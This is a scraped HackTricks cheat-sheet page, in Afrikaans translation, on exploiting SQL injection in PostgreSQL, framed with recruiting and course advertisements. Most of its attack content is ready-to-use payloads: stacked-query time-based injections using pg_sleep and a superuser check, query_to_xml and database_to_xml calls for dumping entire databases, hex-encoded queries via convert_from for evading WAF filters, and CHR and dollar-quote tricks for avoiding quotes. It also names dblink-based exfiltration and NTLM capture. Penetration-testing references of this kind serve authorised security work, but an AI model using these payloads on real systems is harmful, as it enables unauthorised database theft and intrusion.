hacktricks/pentesting-web/sql-injection/postgresql-injection
2024-04-15 03:56:16 +00:00
..
big-binary-files-upload-postgresql.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
dblink-lo_import-data-exfiltration.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
pl-pgsql-password-bruteforce.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
rce-with-postgresql-extensions.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
rce-with-postgresql-languages.md GitBook: No commit message 2024-04-06 18:08:38 +00:00
README.md Translated ['README.md', 'binary-exploitation/format-strings/README.md', 2024-04-15 03:56:16 +00:00

PostgreSQL inspuiting

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

As jy belangstel in 'n hackerloopbaan en die onkraakbare wil kraak - ons is aan die aanstel! (vloeiende Pools geskrewe en gesproke vereis).

{% embed url="https://www.stmcyber.com/careers" %}


Hierdie bladsy het ten doel om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting wat in 'n postgresql-databasis gevind is, te benut en om die truuks aan te vul wat jy op https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md kan vind

Netwerkinteraksie - Voorregskaping, Poortskandering, NTLM-uitdagingresponsblootstelling & Uitvoer

Die PostgreSQL-module dblink bied die vermoë om met ander PostgreSQL-instansies te verbind en TCP-verbindings uit te voer. Hierdie funksies, saam met die COPY FROM-funksionaliteit, maak aksies soos voorregskaping, poortskandering en NTLM-uitdagingresponsvangs moontlik. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk na hoe om hierdie aanvalle uit te voer.

Jy kan hierdie voorbeeld lees om 'n CTF-voorbeeld te sien van hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam van die funksie dblink_connect te eksfiltreer.

PostgreSQL Aanvalle: Lees/skryf, RCE, voorregskaping

Kyk hoe om die gasheer te kompromitteer en voorregte vanaf PostgreSQL te eskaleer in:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

WAF omseiling

PostgreSQL String-funksies

Die manipulasie van strings kan jou help om WAFs of ander beperkings te omseil.
Op hierdie bladsy kan jy 'n paar nuttige String-funksies vind.

Gestapelde navrae

Onthou dat postgresql gestapelde navrae ondersteun, maar verskeie toepassings sal 'n fout gooi as 2 antwoorde teruggegee word wanneer slegs 1 verwag word. Tog kan jy steeds die gestapelde navrae misbruik via Tydinspuiting:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML truuks

query_to_xml

Hierdie funksie sal al die data in XML-formaat in net een lêer teruggee. Dit is ideaal as jy baie data in net 1 ry wil aflaai:

SELECT query_to_xml('select * from pg_user',true,true,'');

databasis_naar_xml

Hierdie funksie sal die hele databasis in XML-formaat dump in net 1 ry (wees versigtig as die databasis baie groot is, aangesien jy dit kan DoS of selfs jou eie klient kan laat crash):

SELECT database_to_xml(true,true,'');

Strings in Hex

Indien jy navrae kan hardloop deur hulle binne 'n string te stuur (byvoorbeeld deur die query_to_xml funksie te gebruik). Jy kan die convert_from gebruik om die string as heks te stuur en sodoende filters te omseil:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Verbode aanhalingstekens

As jy nie aanhalingstekens kan gebruik vir jou payload nie, kan jy dit omseil met CHR vir basiese klousules (karakterkonkatenasie werk slegs vir basiese navrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-stellings nie):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Of met $. Hierdie navrae lewer dieselfde resultate op:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Indien jy belangstel in hacking loopbaan en die onhackbare wil hack - ons is aan die werf! (vloeiende Pools skryf- en spreekvaardigheid vereis).

{% embed url="https://www.stmcyber.com/careers" %}

Leer AWS-hacking van niks tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: